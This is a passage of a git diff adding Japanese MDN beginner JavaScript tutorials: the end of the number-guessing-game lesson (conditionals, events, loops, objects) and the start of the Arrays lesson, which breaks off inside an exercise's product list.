+<span class="number token">2</span> <span class="operator token">===</span> <span class="string token">'2'</span> <span class="comment token">// false; number versus string</span></code></pre> + </td> + </tr> + <tr> + <td><code>!==</code></td> + <td>等しくない (違うかどうか)</td> + <td> + <pre class="brush: js line-numbers language-js notranslate"> +<code class="language-js"><span class="number token">5</span> <span class="operator token">!==</span> <span class="number token">2</span> <span class="operator token">+</span> <span class="number token">4</span> <span class="comment token">// true</span> +<span class="string token">'Chris'</span> <span class="operator token">!==</span> <span class="string token">'Bob'</span> <span class="comment token">// true</span> +<span class="number token">5</span> <span class="operator token">!==</span> <span class="number token">2</span> <span class="operator token">+</span> <span class="number token">3</span> <span class="comment token">// false</span> +<span class="number token">2</span> <span class="operator token">!==</span> <span class="string token">'2'</span> <span class="comment token">// true; number versus string</span></code></pre> + </td> + </tr> + <tr> + <td><code><</code></td> + <td>小なり</td> + <td> + <pre class="brush: js line-numbers language-js notranslate"> +<code class="language-js"><span class="number token">6</span> <span class="operator token"><</span> <span class="number token">10</span> <span class="comment token">// true</span> +<span class="number token">20</span> <span class="operator token"><</span> <span class="number token">10</span> <span class="comment token">// false</span></code></pre> + </td> + </tr> + <tr> + <td><code>></code></td> + <td>大なり</td> + <td> + <pre class="brush: js line-numbers language-js notranslate"> +<code class="language-js"><span class="number token">6</span> <span class="operator token">></span> <span class="number token">10</span> <span class="comment token">// false</span> +<span class="number token">20</span> <span class="operator token">></span> <span class="number token">10</span> <span class="comment token">// true</span></code></pre> + </td> + </tr> + </thead> +</table> + +<h3 id="Conditionals" name="Conditionals">条件式</h3> + +<p>先ほどの <code>checkGuess()</code> 関数に話を戻します。当然ですが、ただ単にプレースホルダメッセージを出したいわけではありませんよね。この関数にはプレイヤーの予想が正しいかどうかを調べて適切に返事をすることを望みます。</p> + +<p>それでは、今の <code>checkGuess()</code> 関数を以下のように書き換えてみましょう。</p> + +<pre class="brush: js notranslate">function checkGuess() { + let userGuess = Number(guessField.value); + if (guessCount === 1) { + guesses.textContent = '前回の予想: '; + } + guesses.textContent += userGuess + ' '; + + if (userGuess === randomNumber) { + lastResult.textContent = 'おめでとう! 正解です!'; + lastResult.style.backgroundColor = 'green'; + lowOrHi.textContent = ''; + setGameOver(); + } else if (guessCount === 10) { + lastResult.textContent = '!!!ゲームオーバー!!!'; + setGameOver(); + } else { + lastResult.textContent = '間違いです!'; + lastResult.style.backgroundColor = 'red'; + if(userGuess < randomNumber) { + lowOrHi.textContent='今の予想は小さすぎです!' ; + } else if(userGuess > randomNumber) { + lowOrHi.textContent = '今の予想は大きすぎです!'; + } + } + + guessCount++; + guessField.value = ''; + guessField.focus(); +}</pre> + +<p>たくさん書きましたね！各部分に分割して、それぞれの部分を詳細に見て何をしているか説明しましょう。</p> + +<ul> + <li>関数の最初の行 (上のコードの 2行目) で、<code>userGuess</code> という変数を宣言して、現在のテキストフィールドに入力された値をセットしています。そして、組み込みの <code>Number()</code> 関数を呼び出して、テキストフィールドに入力された値が間違いなく数値であることも確認しています。</li> + <li>次に、初めて条件分岐を伴うコードブロックが出てきます (3行目～5行目)。条件分岐は、条件の判定結果が真 (true) であるかどうかによって、次に実行するコードが変わります。見た目が少しだけ関数に似ていますが、違うものです。条件分岐の最も単純な書き方は <code>if</code> キーワードから始まり、括弧が続き、中括弧が続きます。括弧の中には分岐する条件を書きます。条件が <code>true</code> となれば、中括弧の中にあるコードが実行されます。条件が <code>true</code> にならなければ、中括弧の次のコードまで移動します。今回の条件は <code>guessCount</code> 変数が <code>1</code> であるかどうかを判定しています。(つまり、プレイヤーの初回の予想かどうかを判定しているのです。) + <pre class="brush: js notranslate">guessCount === 1</pre> + もしそうなら、<code>guesses</code> 段落 ({{htmlelement("p")}}要素) の内容を "<samp>前回の予想: </samp>" に変更します。違うなら、何もしません。</li> + <li>6行目では、<code>guesses</code> 段落の最後にスペースを付けて、現在の <code>userGuess</code> 変数の値を追加しています。なので、予想が表示されるときにはスペースで区切られて表示されます。</li> + <li>次の部分 (8行目～24行目) には、確認すべきことがいくつかあります。 + <ul> + <li>最初の <code>if(){ }</code> は、プレイヤーの予想が、JavaScript のコードの先頭で設定したランダムな数字を格納した <code>randomNumber</code> 変数の値と等しいかどうかを調べています。もし等しければ、プレイヤーは正解し勝ちとなるため、祝福のメッセージを素敵な緑色で表示します。さらに、数字の大小を表示する段落をクリアして、後で説明する <code>setGameOver()</code> 関数を実行します。</li> + <li>今度は <code>else if(){ }</code> という部分で、ひとつ前の条件に続けて条件を書いています。この条件はユーザの最後のターンかどうかを調べています。もし最後の回ならば、プログラムは祝福のメッセージの代わりにゲームオーバーメッセージとする以外は、ひとつ前の部分と同じことをします。</li> + <li>このコードに連なる最後のブロック (<code>else { }</code>) は、前の二つの条件がどちらも真とならなかった場合にのみ実行されます。(つまり、プレイヤーは間違えてはいるものの、予想回数が残っている場合です。) この場合、プレイヤーに予想が間違っていることを伝え、入力された数字が大きいか小さいかを伝えるため、さらなる条件の確認を行います。</li> + </ul> + </li> + <li>最後の 3行 (26行目～28行目) は、次の予想の入力を受け取るための準備です。<code>guessCount</code> 変数に 1 を加算して、プレイヤーの予想回数を数えます。(<code>++</code> はインクリメント演算子で、1 だけインクリメント(増加)します。) そして、入力フォームのテキストフィールドを空にしてからフォーカスを当て、プレイヤーの次の入力に備えます。</li> +</ul> + +<h3 id="Events" name="Events">イベント</h3> + +<p>ここまでで、<code>checkGuess()</code> 関数を上手に実装することができました。しかしまだ何も起きません。なぜなら、まだこの関数を呼び出していないからです。出来れば、"予想を入力"のボタンが押されたときに、この関数が呼ばれるようにしたいです。そのためにはイベントを使います。イベントとは、ボタンが押されたり、ページが読み込まれたり、ビデオを再生したりといったブラウザーで起きることで、それに反応してコードを実行させることができます。イベントが発生したことを聞き取る構成が<strong>イベントリスナー</strong>で、発生したイベントに反応して実行されるコードブロックが<strong>イベントハンドラー</strong>です。</p> + +<p><code>checkGuess()</code> 関数の下に、以下の一文を加えましょう。</p> + +<pre class="brush: js notranslate">guessSubmit.addEventListener('click', checkGuess);</pre> + +<p><code>guessSubmit</code> ボタンに対して、イベントリスナーを追加しました。これは発生したことを知りたいイベントの種類 (この場合は <code>click</code>)と、イベントが発生した場合に実行するコード (この場合は <code>checkGuess()</code>) の 2 つの入力値 (<em>引数</em>と言います) を取る関数です。({{domxref("EventTarget.addEventListener", "addEventListener()")}}の中では括弧を書く必要はありません。)</p> + +<p>保存して再度コードを読み直してください。今度はきっとある程度まで動くはずです。ただし、まだ問題があります。もし正解したり、予想回数の上限に達してしまった場合には、ゲームが止まってしまうでしょう。なぜなら、ゲームが終わった時に実行されるべき関数 <code>setGameOver()</code> をまだ定義していないためです。さあ、足りないコードを書いてチュートリアルの機能を完成させましょう。</p> + +<h3 id="Finishing_the_game_functionality" name="Finishing_the_game_functionality">ゲームの機能を完成させる</h3> + +<p><code>setGameOver()</code> 関数をコードの一番下に追加して、中身を見てみましょう。これを JavaScript の一番下に追加します。</p> + +<pre class="brush: js notranslate">function setGameOver() { + guessField.disabled = true; + guessSubmit.disabled = true; + resetButton = document.createElement('button'); + resetButton.textContent = '新しいゲームを始める'; + document.body.appendChild(resetButton); + resetButton.addEventListener('click', resetGame); +}</pre> + +<ul> + <li>最初の 2行は入力フォームのテキストフィールドとボタンの <code>disabled</code> プロパティを <code>true</code> に設定することで、入力できないようにしています。ゲーム終了後にユーザーがさらに予想を入力し、ゲームが予期しない動作をすることを防ぐために必要です。</li> + <li>さらに次の 3行では、新しい {{htmlelement("button")}} 要素を生成し、そのラベルに"<samp>新しいゲームを始める</samp>"という文言を設定し、HTML ページに追加しています。</li> + <li>最後の行では、上で生成したボタンがクリックされたときに <code>resetGame()</code> という関数が実行されるようにイベントリスナーを設定しています。</li> +</ul> + +<p>この関数も定義しなければなりませんね！もう一度、以下のコードを JavaScript のいちばん下に追加してください。</p> + +<pre class="brush: js notranslate">function resetGame() { + guessCount = 1; + + const resetParas = document.querySelectorAll('.resultParas p'); + for (let i = 0 ; i < resetParas.length ; i++) { + resetParas[i].textContent = ''; + } + + resetButton.parentNode.removeChild(resetButton); + + guessField.disabled = false; + guessSubmit.disabled = false; + guessField.value = ''; + guessField.focus(); + + lastResult.style.backgroundColor = 'white'; + + randomNumber = Math.floor(Math.random() * 100) + 1; +}</pre> + +<p>ちょっと長めのこのコードブロックは、プレイヤーが次のゲームができるように、ゲームを起動したときの状態に完全にリセットします。</p> + +<ul> + <li><code>guessCount</code> に 1 を代入して元に戻します。</li> + <li>情報段落のすべてを消去します。</li> + <li>リセットボタンをページから削除します。</li> + <li>入力フォームの要素を使用可能にして、新しい予想が入力できるようにテキストフィールドを空にしてフォーカスを設定します。</li> + <li>最終結果を表示している <code>lastResult</code> 段落の背景色を消去します。</li> + <li>同じ数字以外の数字でゲームができるように、新しいランダムな数字を再度生成します。</li> +</ul> + +<p><strong>ここまでで (単純ではありますが) 動くゲームの完成です。お疲れ様でした!</strong></p> + +<p>この記事では、あと少し説明しなければならない大事な機能が残っています。既に見ているはずですが気づいたでしょうか。</p> + +<h3 id="Loops" name="Loops">ループ (繰り返し)</h3> + +<p>上のコードでもう少し詳しく説明しなければならないのは、<a href="/ja/docs/Web/JavaScript/Reference/Statements/for">for</a> ループです。ループはプログラミングにおいてとても重要な概念です。ある条件に達するまで何度も何度もコードを繰り返し実行することができます。</p> + +<p><a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザーの開発者ツールの JavaScript コンソール</a> をもう一度開いて次のコードを入力してみましょう。</p> + +<pre class="brush: js notranslate">for (let i = 1 ; i < 21 ; i++) { console.log(i) }</pre> + +<p>どうでしょうか。<samp>1</samp> から <samp>20</samp> の数字がコンソールに出力されましたね。これが繰り返しです。<code>for</code> ループには 3 つの入力値 (引数) が必要です。</p> + +<ol> + <li><strong>初期値</strong>: 上の例では、<code>i</code> を 1 からはじめましたが、どんな数字でもかまいません。さらに言えば、<code>i</code> という名前でなくともかまいません。ただし、ループでは短くて覚えやすいため、<code>i</code> という変数の名前がよく使われることを覚えておいてください。</li> + <li><strong>条件</strong>: 上の例では <code>i < 21</code> をループが継続する条件としました。つまりループは <code>i</code> が 21未満でなくなるまで継続します。<code>i</code> が 21 になったらループの実行が終了します。</li> + <li><strong>増分</strong>: 上の例では増分を <code>i++</code> と指定しています。つまり「<code>i</code> に 1 を足し」ます。ループは <code>i</code> が 21 になるまで(それは 2.の継続条件で説明しましたね) 、<code>i</code> の取りうる値について、それぞれ一度ずつ実行されます。今回の例では繰り返しのコードが実行される度に <code>i</code> の値を{{domxref("Console.log", "console.log()")}}を使用してコンソールに出力しています。</li> +</ol> + +<p>さて、それでは数字当てゲームに登場したループを見てみましょう。<code>resetGame()</code> 関数に以下の記述がありますね。</p> + +<pre class="brush: js notranslate">const resetParas = document.querySelectorAll('.resultParas p'); +for (let i = 0 ; i < resetParas.length ; i++) { + resetParas[i].textContent = ''; +}</pre> + +<p>このコードは <code><div class="resultParas"></code> に含まれるすべての {{htmlelement("p")}} 要素を {{domxref("Document.querySelectorAll", "querySelectorAll()")}} というメソッドを使用して取得しています。そしてループを使用してその一つ一つの要素の中身を消去しています。</p> + +<h3 id="A_small_discussion_on_objects" name="A_small_discussion_on_objects">オブジェクトについて(簡単に)</h3> + +<p>オブジェクトについて説明する前に、プログラムに対して最後のちょっとした改良を加えてみましょう。JavaScript の書き出しの方にある <code>let resetButton;</code> のすぐ下に、以下の行を追記してファイルを保存します。</p> + +<pre class="brush: js notranslate">guessField.focus();</pre> + +<p>この行はページが読み込まれるとすぐ、 {{domxref("HTMLElement.focus", "focus()")}} メソッドを呼び出して、入力フォームの {{htmlelement("input")}} 要素に対して自動的にカーソル (フォーカス) を設定しています。つまり、ページが開いたと同時に、入力フォームを最初にクリックすることなくプレイヤーが予想を入力できるようにしているのです。本当にちょっとしたことですが、ユーザーにゲームで遊ぶためには何をすればよいかの視覚的なヒントを教えてあげることで、使い勝手が向上します。</p> + +<p>もう少し詳細に何が起こっているのか分析しましょう。JavaScript では、すべてのものはオブジェクトです。オブジェクトというのは 1 か所に関連する機能をまとめたものです。自分でオブジェクトを作ることもできますが、高度なことなので、このコースの大分後まで出てきません。今は簡単に、これを使うと多くの便利なことができるようになる、ブラウザーに含まれる組み込みオブジェクトについて説明します。</p> + +<p>この具体的なケースでは、HTML のテキスト入力フィールドを参照するために、最初に <code>guessField</code> 変数を作成しました。以下の行は最上部のあたりの変数定義で見つかります、</p> + +<pre class="brush: js notranslate">const guessField = document.querySelector('.guessField');</pre> + +<p>この参照を得るため、{{domxref("document")}} オブジェクトの{{domxref("document.querySelector", "querySelector()")}} メソッドを使用しています。<code>querySelector()</code> はある情報 (必要な要素を選択する <a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Selectors">CSS セレクタ</a>) を受け取ります。</p> + +<p><code>guessField</code> に {{htmlelement("input")}} 要素の参照が得られたので、これでたくさんのプロパティ (基本的にはオブジェクトの内部に保持されている変数のことですが、中には値を変えられないものもあります) とメソッド (基本的にはオブジェクトの内部に保持されている関数のこと) にアクセスできるようになりました。ようやく {{htmlelement("input")}} 要素のメソッドの一つである <code>focus()</code> メソッドを使ってテキストフィールドにフォーカスを当てられます。</p> + +<pre class="brush: js notranslate">guessField.focus();</pre> + +<p>入力フォームの要素の参照を含まない変数に対しては、<code>focus()</code> は使用できません。例えば、<code>guesses</code> 変数には {{htmlelement("p")}} 要素への参照が入っていますし、<code>guessCount</code> には数値が入っています。</p> + +<h3 id="Playing_with_browser_objects" name="Playing_with_browser_objects">ブラウザーのオブジェクトで遊ぼう</h3> + +<p>少しブラウザーが持っているオブジェクトで遊んでみましょう。</p> + +<ol> + <li>まずブラウザーでプログラムを開いてください</li> + <li>次に<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">開発者ツール</a>を開き、JavaScript コンソールのタブが開いたのを確認します</li> + <li><code>guessField</code> と入力してみてください。するとコンソールに {{htmlelement("input")}} 要素を含む変数が表示されます。また、気づいたと思いますが、コンソールは実行中の環境にある変数名を含んだオブジェクト名を自動的に補完しました!</li> + <li>さらに下のように入力してみてください + <pre class="brush: js notranslate">guessField.value = 'Hello';</pre> + <code>value</code> プロパティは今のテキストフィールドに入力された値を表しています。コマンドを入力したら、テキストフィールドの値が変わりましたね！</li> + <li>さらに続けて <code>guesses</code> と入力して <kbd>Return</kbd>/<kbd>Enter</kbd> を押します。{{htmlelement("p")}} 要素を含む変数がコンソールに表示されますね。</li> + <li>そして次のコードを入力します + <pre class="brush: js notranslate">guesses.value</pre> + コンソールには <code>undefined</code> (未定義) という文字が返ってきましたね。<code>value</code> というプロパティは {{htmlelement("p")}} 要素にはないためです。</li> + <li>パラグラフ内のテキストを変えたい場合には、{{domxref("Node.textContent", "textContent")}} プロパティを使用する必要があります。こうしてみます + <pre class="brush: js notranslate">guesses.textContent = 'Where is my paragraph?';</pre> + </li> + <li>ちょっと遊んでみましょう。下のコードをひとつづつ入力してみてください。 + <pre class="brush: js notranslate">guesses.style.backgroundColor = 'yellow'; +guesses.style.fontSize = '200%'; +guesses.style.padding = '10px'; +guesses.style.boxShadow = '3px 3px 6px black';</pre> + ページ内に存在するすべての要素は <code>style</code> プロパティを持っていて、そのオブジェクトを介して CSS のインラインスタイルで要素に適用されるすべてのプロパティにアクセスすることができます。これを使うことで、JavaScript から動的に要素の CSS のスタイルを設定できるのです。</li> +</ol> + +<h2 id="Finished_for_now..." name="Finished_for_now...">ここで一息...</h2> + +<p>これで数字当てゲームができました。最後までついて来れましたね！作ったプログラムを動かしてみてください 。(最後のプログラムは<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game.html">こちらでも遊べます</a>。) もし作ったプログラムが動かなければ、<a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html">ソースコード</a>と見比べてみてください。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript って何?</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript への最初のダイブ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">何が間違っている? JavaScript のトラブルシューティング</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Variables">必要な情報を保存する — 変数</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Math">JavaScript での数学入門 — 数値と演算子について</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Strings">テキストを扱う — JavaScript での文字列</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods">便利な文字列メソッド</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Arrays">配列</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Silly_story_generator">評価: バカ話ジェネレーター</a></li> +</ul> diff --git a/files/ja/learn/javascript/first_steps/arrays/index.html b/files/ja/learn/javascript/first_steps/arrays/index.html new file mode 100644 index 0000000000..973a8511fa --- /dev/null +++ b/files/ja/learn/javascript/first_steps/arrays/index.html @@ -0,0 +1,568 @@ +--- +title: 配列 +slug: Learn/JavaScript/First_steps/Arrays +tags: + - CodingScripting + - JavaScript + - Join + - Pop + - Push + - 'l10n:priority' + - shift + - split + - unshift + - 初心者 + - 学習 + - 記事 + - 配列 +translation_of: Learn/JavaScript/First_steps/Arrays +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">このモジュールの最後に、配列について見ていきましょう。配列は 1 つの変数名でリスト形式のデータを保持するのに好都合です。ここでは、どう便利なのか、どのように作るのか、そして配列の項目を追加したり削除したり取得したりする方法について学びます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基礎的なコンピューターの知識、HTML と CSS への基本的な理解、JavaScript についての理解。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>JavaScript において、配列とは何か、どのように操作するのかを理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_an_array" name="What_is_an_array">配列とは何？</h2> + +<p>配列はたいてい「リストのようなオブジェクトである」と説明され、単一のオブジェクト内に複数の値をリストとして持っています。配列オブジェクトは変数に格納され、その他の型と同様に扱われます。異なるのはリスト内の値に個別にアクセスすることができ、繰り返しを用いて全ての値に同じことをするといった、リストとして便利で効率的に扱うことができます。商品とその価格の一覧を配列に保持し、その値をループして合計額を計算しつつ請求書にそれぞれの価格を表示して一番下に合計額を表示することもできるでしょう。</p> + +<p>もし配列がなかったとしたら、別々の変数にそれぞれの値を格納しなければならず、各変数を表示するのと計算するので別々に呼び出さなければならなかったでしょう。こうなると、書き出すのがとても長く、非効率的でエラーを起こしやすいプログラムとなるでしょう。例えば、10 個の項目を請求書に出すだけでも最悪ですが、それが 100 個や 1000 個だったらどうでしょう。この記事の最後に実例としてやってみましょう。</p> + +<p>前回までの記事と同様に、JavaScript コンソールに配列の基礎となるコード例を<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザーの開発者コンソール</a>に入力しながら学びましょう。</p> + +<h3 id="Creating_an_array" name="Creating_an_array">配列を作る</h3> + +<p>配列を作るには、角括弧の中にカンマで区切ったリストの形式で項目を並べます。</p> + +<ol> + <li>買い物リストを配列に保持したいとき、次のようにします。下のコードをコンソールに入力してみましょう。 + <pre class="brush: js notranslate">let shopping = ['パン', '牛乳', 'チーズ', 'ハム', '麺']; +shopping;</pre> + </li> + <li>この例では、配列の各項目は文字列ですが、配列には何でも格納することができることを頭に入れておきましょう。文字列、数値、オブジェクト、その他の変数、さらには別の配列ですら格納することができます。そして混ぜ合わせることも。すべて同じデータ型である必要はありません。 + <pre class="brush: js notranslate">let sequence = [1, 1, 2, 3, 5, 8, 13]; +let random = ['tree', 795, [0, 1, 2]];</pre> + </li> + <li>いくつか配列を作ってみましょう。それから先に進みます。</li> +</ol> + +<h3 id="Accessing_and_modifying_array_items" name="Accessing_and_modifying_array_items">配列の項目を取得し変更する</h3> + +<p>配列の各項目は<a href="/ja/Learn/JavaScript/First_steps/Useful_string_methods#Retrieving_a_specific_string_character">文字列中の文字を取得したときのように</a>列で角括弧 (<code>[]</code>) を使用して取得することができます。</p> + +<ol> + <li>次のコードをコンソールに入力してください。 + <pre class="brush: js notranslate">shopping[0]; +// "パン"という値が戻ります</pre> + </li> + <li>そして、配列中の項目は単に新しい値を代入することで変更することが出来ます。 + <pre class="brush: js notranslate">shopping[0] = 'タヒーニ'; +shopping; +// ショッピングリストは[ "タヒーニ", "牛乳", "チーズ", "ハム", "麺" ]に変更されています。</pre> + + <div class="note"><strong>注</strong>: 前にも言いましたが、重要なことなのでもう一度言います。コンピューターは 0 から数を数えます！</div> + </li> + <li>配列の中に配列があるとき、その配列は多次元配列と呼ばれます。配列中の配列に含まれる項目には角括弧を繋げて書くことでアクセスすることができます。例えば、先ほどの例で出てきた <code>random</code> 変数に格納された配列の 3番目の項目のさらに 3番目の項目を取得するには以下のようにします。 + <pre class="brush: js notranslate">random[2][2];</pre> + </li> + <li>移動する前に、配列の例をいくつか変更してみてください。遊んでみて、何が動いて何がそうでないかを見てください</li> +</ol> + +<h3 id="Finding_the_length_of_an_array" name="Finding_the_length_of_an_array">配列の長さを調べる</h3> + +<p>ある配列の長さ (いくつの項目が配列中に存在するか) を知るには、文字列の (文字の) 長さを調べた時と全く同じようにします。{{jsxref("Array.prototype.length","length")}}プロパティを使用して長さを取得することができます。</p> + +<pre class="brush: js notranslate">sequence.length; +// 7 が返る</pre> + +<p>このプロパティはいろいろな使われ方をするのですが、最もよく使われるのは、配列中の全項目をループするために使用されます。次の例を見てください。</p> + +<pre class="brush: js notranslate">let sequence = [1, 1, 2, 3, 5, 8, 13]; +for (let i = 0; i < sequence.length; i++) { + console.log(sequence[i]); +}</pre> + +<p>ループについてはそのうち (<a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a> の記事で) しっかりと学ぶ機会があるでしょうが、ここで簡単に説明すると上のコードは次のように動きます。</p> + +<ol> + <li>配列中の項目 0 番よりループを開始します。</li> + <li>項目番号が配列の長さと同じ数になったら、繰り返しを終了します。これで配列中の要素がいくつであっても動くようになります。今回の場合は、項目の番号が 7 のときに終了します(ループでカバーしたい最後の項目番号は 6 なので、これで問題ありません)。</li> + <li>そして、各項目を <code><a href="/ja/docs/Web/API/Console/log">console.log()</a></code> メソッドを使用してブラウザーのコンソールに出力しています。</li> +</ol> + +<h2 id="Some_useful_array_methods" name="Some_useful_array_methods">便利な配列メソッド</h2> + +<p>このセクションでは、文字列を配列にしたり、配列を文字列にしたり、配列に項目を追加したり、ちょっと便利な配列関連のメソッドを見てみましょう。</p> + +<h3 id="Converting_between_strings_and_arrays" name="Converting_between_strings_and_arrays">文字列と配列を相互に変換する</h3> + +<p>データが長い長い文字列の中に含まれていて、それを使いやすい形に分割して操作したいときがあります。例えばデータを表形式で表示するというようなときです。それには{{jsxref("String.prototype.split()","split()")}} メソッドが使用できます。このメソッドは文字列を分割するのに使用する文字を引数として取り、文字列をその文字で区切った部分文字列の配列に分割します。</p> + +<div class="note"> +<p><strong>注</strong>: 実際のところ、これは配列ではなく文字列のメソッドです。しかし、ここで紹介するのが一番だと思い取り上げています。</p> +</div> + +<ol> + <li>それではどのように動くか試してみましょう。まずは文字列をコンソールに作ります。 + <pre class="brush: js notranslate">let myData = '札幌,仙台,東京,名古屋,大阪,博多';</pre> + </li> + <li>この文字列をカンマで区切ります。 + <pre class="brush: js notranslate">let myArray = myData.split(','); +myArray;</pre> + </li> + <li>そして、できた配列の長さを確認して、その中身を見てみましょう。 + <pre class="brush: js notranslate">myArray.length; +myArray[0]; // 配列の最初の項目 +myArray[1]; // 配列の二番目の項目 +myArray[myArray.length-1]; // 配列の最後の項目</pre> + </li> + <li>{{jsxref("Array.prototype.join()","join()")}} メソッドを使うことで、逆のことができます。 + <pre class="brush: js notranslate">let myNewString = myArray.join(','); +myNewString;</pre> + </li> + <li>配列を文字列にするもう一つの方法は、{{jsxref("Array.prototype.toString()","toString()")}} メソッドを使うことです。引数を取らない <code>toString()</code> は <code>join()</code> と比べ簡単でしょうが、制限があります。<code>join()</code> を使えば、他の区切り文字を指定することもできます (4. の例をカンマ以外の他の文字を指定して試してください)。 + <pre class="brush: js notranslate">let dogNames = ['ポチ','ハチ','タロウ','モコ']; +dogNames.toString(); //ポチ,ハチ,タロウ,モコ</pre> + </li> +</ol> + +<h3 id="Adding_and_removing_array_items" name="Adding_and_removing_array_items">項目の追加と削除</h3> + +<p>まだ配列への項目の追加と削除をやっていませんでしたね。次はこれをやりましょう。先ほどの例にあった <code>myArray</code> 配列を使用します。先ほどの例をまだ実行していなければ、以下のコードをコンソールに入力して配列を作ってください。</p> + +<pre class="brush: js notranslate">let myArray = ['札幌', '仙台', '東京', '名古屋', '大阪', '博多'];</pre> + +<p>まず、配列の最後に項目を追加したり、最後の項目を削除するには、それぞれ {{jsxref("Array.prototype.push()","push()")}} と {{jsxref("Array.prototype.pop()","pop()")}} を使います。</p> + +<ol> + <li>先に <code>push()</code> を使ってみます。配列の最後に項目を追加するには 1 つ以上の項目を引数に指定します。 + + <pre class="brush: js notranslate">myArray.push('横浜'); +myArray; +myArray.push('神戸', '広島'); +myArray; +</pre> + </li> + <li>メソッドの呼び出しが終わると、新しい配列の長さが返ります。もし新しい配列の長さを変数に格納したければ、次のようにできます。 + <pre class="brush: js notranslate">let newLength = myArray.push('京都'); +myArray; +newLength;</pre> + </li> + <li>配列の最後の要素を削除するには <code>pop()</code> を呼び出すだけです。 + <pre class="brush: js notranslate">myArray.pop();</pre> + </li> + <li>メソッドの呼び出しが終わると、削除された項目それ自体が返ります。 + <pre class="brush: js notranslate">let removedItem = myArray.pop(); +myArray; +removedItem;</pre> + </li> +</ol> + +<p>{{jsxref("Array.prototype.unshift()","unshift()")}} と {{jsxref("Array.prototype.shift()","shift()")}} はそれぞれ <code>push()</code> や <code>pop()</code> と同様の動作ですが、配列の末尾ではなく先頭において動作します。</p> + +<ol> + <li>まずは、<code>unshift()</code> を次のように実行します。 + + <pre class="brush: js notranslate">myArray.unshift('奈良'); +myArray;</pre> + </li> + <li>今度は <code>shift()</code> でやってみましょう！ + <pre class="brush: js notranslate">let removedItem = myArray.shift(); +myArray; +removedItem;</pre> + </li> +</ol> + +<h2 id="アクティブラーニング_商品を印字しよう！">アクティブラーニング: 商品を印字しよう！</h2> + +<p>商品の名前と価格、合計金額を請求書に印字するという最初の話に戻りましょう。以下に示す編集可能なコードのコメントの中に数字が書かれています。この数字はコードを書くべき場所を示しています。各数字の場所に次のようなコードを書いてください。</p> + +<ol> + <li><code>// No.1</code> というコメントの下に、商品の名前と価格をコロン (:) で繋げた、いくつか文字列が並んでいます。これを <code>products</code> という名前の配列にしてください。</li> + <li><code>// No.2</code> というコメントの行から for ループが始まっています。この行には <code>i <= 0</code> と書かれています。「<code>i</code> の値が 0 以下でなくなれば終了」と書かれており、<code>i</code> は 0 から始まるので、この <a href="/ja/Learn/JavaScript/First_steps/A_first_splash#Loops">for ループ</a>は一度しか実行されません。この条件を <code>i</code> が <code>products</code> 配列の長さより小さくなくなった場合に終了するような条件に置き換えて下さい。</li> + <li><code>// No.3</code> のコメントの直下に 1 行で、現在の配列の項目 (<code>name:price</code>) を 2 つに分割するコードを書いてください。一方は商品の名前、もう一方は価格です。もしどうすればいいのかわからなければ、<a href="/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods">便利な文字列のメソッド</a>の記事を参照してください。さらに{{anch("Converting between strings and arrays","文字列と配列を相互に変換する")}}も役に立つでしょう。</li> + <li>上記のコードの一部として、価格を文字列から数値に変換する必要もあるでしょう。どのようにすべきか思い出せなければ、<a href="/ja/Learn/JavaScript/First_steps/Strings#Numbers_vs._strings">文字列の最初の記事</a>を確認してみましょう。</li> + <li>コードの先頭に <code>total</code> という名前の変数が宣言されて、0 で初期化されています。ループの中で (<code>// No.4</code><em> の</em>下) 繰り返している現在の項目の価格を <code>total</code> 変数に加算するコードを一行で書いてください。そうすれば、コードの最後で正しい合計が請求書に印字されます。恐らく<a href="/ja/Learn/JavaScript/First_steps/Math#Assignment_operators">代入演算子</a>が役に立つでしょう。</li> + <li><code>// No.5</code> のコメントの直下のコードを <code>itemText</code> 変数が「現在の項目の商品名 — $現在の項目の価格」となるように変更してください。「靴 — $23.99」という感じです。そうすれば正しい情報が請求書に印字されます。これはもう慣れたはずの単純な文字列結合で実現できます。</li> +</ol> + +<div class="hidden"> +<h6 id="Playable_code" name="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><h2>出力結果</h2> + +<div class="output" style="min-height: 150px;"> + +<ul> + +</ul> + +<p></p> + +</div> + +<h2>コードエディター</h2> + +<p class="a11y-label">コードエディターから抜けるには Esc キーを押して下さい(タブキーではタブ文字を挿入します)。</p> + +<textarea id="code" class="playable-code" style="height: 410px;width: 95%"> +const list = document.querySelector('.output ul'); +const totalBox = document.querySelector('.output p'); +let total = 0; +list.innerHTML = ''; +totalBox.textContent = ''; +// No.1 + 'パンツ:6.99' + '靴下:5.99' + 'T シャツ:14.99' + 'ズボン:31.99' + 